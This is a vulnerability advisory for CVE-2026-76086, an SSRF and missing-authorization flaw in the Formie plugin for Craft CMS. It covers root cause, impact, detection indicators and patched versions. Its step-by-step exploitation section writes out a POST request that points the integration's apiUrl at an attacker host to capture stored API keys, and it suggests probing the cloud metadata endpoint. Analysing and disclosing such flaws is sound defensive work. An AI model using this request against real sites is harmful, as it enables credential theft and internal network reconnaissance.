CVE-2026-76086: 
PHP 취약성 분석 및 완화

CVE-2026-76086 is a Server-Side Request Forgery (SSRF) and missing authorization vulnerability in Formie, a Craft CMS plugin for creating forms developed by verbb. The formie/integrations/form-settings control panel action (IntegrationsController::actionFormSettings) was accessible by any authenticated user without the required form integration permissions, allowing attackers to overwrite outbound host properties (e.g., apiUrl) and redirect server-side requests — including stored API keys or OAuth tokens — to attacker-controlled or internal hosts. Affected versions are Formie < 2.2.23 (Craft 4) and >= 3.0.0, < 3.1.31 (Craft 5). It was disclosed on September 23, 2026, and carries a CVSS v3.1 base score of 8.5 (High) (GitHub Advisory). This is an incomplete remediation of a prior related advisory, GHSA-cvpc-hccg-wmw4, where the permission gate added in version 3.1.28 inadvertently excluded the form-settings action (Prior Advisory).

The root cause combines three weaknesses: CWE-862 (Missing Authorization), CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), and CWE-918 (Server-Side Request Forgery). The vulnerable actionFormSettings method accepted POST requests from any authenticated user and applied request-supplied settings directly to a configured integration object via setAttributes($settings, false) — with no allowlist filtering — enabling an attacker to overwrite properties such as apiUrl or other host-related attributes (GitHub Advisory). The server then used its stored API keys or OAuth tokens to make a request to the attacker-specified host, and the remote response was returned in the JSON body, making this a non-blind SSRF. The fix (commits 6735fe4 and dde7799) adds requireCpRequest(), a valid formId check, proper permission enforcement, and an allowlist-based _filterIntegrationFormSettings() method that blocks sensitive attributes containing patterns like key, secret, token, url, host, etc. (Patch Commit Craft 5, Patch Commit Craft 4).

Successful exploitation allows an authenticated low-privileged user — including front-end members on sites with public registration — to exfiltrate stored CRM, email-marketing, or webhook integration credentials (API keys, OAuth tokens) by redirecting server-side requests to an attacker-controlled host. Because the SSRF is non-blind (the server's response is returned in the JSON body), attackers can also probe and enumerate internal network endpoints, potentially enabling lateral movement within the hosting environment. Confidentiality impact is rated High, with a Low integrity impact due to the ability to manipulate outbound integration behavior (GitHub Advisory).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly). However, the low attack complexity and the requirement of only a low-privileged authenticated account (including front-end user accounts on sites with public registration) make this relatively easy to exploit on affected sites. No threat actor attribution is currently available.

1. Reconnaissance: Identify a Craft CMS site running Formie < 2.2.23 or >= 3.0.0, < 3.1.31 with at least one configured integration (e.g., CRM, email marketing, or webhook). Determine if the site allows front-end user registration or if a low-privileged CP account can be obtained.
2. Obtain authentication: Register a front-end user account (if public registration is enabled) or use any low-privileged Craft CMS control panel account.
3. Identify integration handle: Enumerate available integration handles by observing form builder UI or making authenticated requests to discover valid integration parameter values (e.g., mailchimp, hubspot, webhook).
4. Craft malicious POST request: Send a POST request to the formie/integrations/form-settings action with the integration handle and a settings payload overriding the outbound host property (e.g., apiUrl) to point to an attacker-controlled server:

POST /actions/formie/integrations/form-settings
Content-Type: application/x-www-form-urlencoded

integration=mailchimp&settings[apiUrl]=https://attacker.example.com/capture

5. Capture credentials: The Formie server makes a request to the attacker-controlled host using its stored API key or OAuth token. The attacker's server logs the incoming request headers, capturing the credential.
6. Probe internal network: Replace apiUrl with internal network addresses (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata, or internal service IPs) to enumerate internal endpoints, with responses returned in the JSON body (GitHub Advisory).

• Network: Outbound HTTP/HTTPS requests from the Craft CMS server to unexpected external hosts or internal IP ranges (e.g., RFC 1918 addresses, cloud metadata endpoints like 169.254.169.254); requests carrying integration API keys or OAuth tokens to non-vendor destinations.
• Logs: Craft CMS web/access logs showing POST requests to /actions/formie/integrations/form-settings from low-privileged or front-end user accounts; repeated requests with varying settings[apiUrl] or similar host-override parameters.
• Application Logs: Craft CMS application logs recording integration requests to unexpected or internal URLs; HTTP errors or unexpected responses from integration calls logged by Formie.
• Attacker Infrastructure: Incoming requests to attacker-controlled servers containing Authorization, X-API-Key, Bearer, or similar credential headers originating from the Craft CMS server's IP address.

Update Formie to version 2.2.23 (Craft 4) or version 3.1.31 (Craft 5) immediately, as these releases enforce CP-only access, valid form ID validation, proper permission checks (formie-manageFormIntegrations / formie-showFormIntegrations), and an allowlist filter blocking sensitive attribute overrides (Release 2.2.23, GitHub Advisory). As a partial workaround prior to patching, disable front-end user registration and restrict control panel access to trusted users only — note that no configuration-only workaround fully mitigates the issue. Additionally, rotate any API keys, OAuth tokens, and credentials stored in Formie integrations if exploitation cannot be ruled out.

The vulnerability was reported by Jorge González (jorge@jmilla.es) and credited under the alias "Pig-Tail Finder" in the GitHub Security Advisory (GitHub Advisory). The advisory notes this is an incomplete remediation of a prior advisory (GHSA-cvpc-hccg-wmw4), highlighting a pattern of authorization gaps in the Formie plugin's integration management. No significant broader media coverage or notable social media discussion beyond automated CVE tracking feeds has been identified at this time.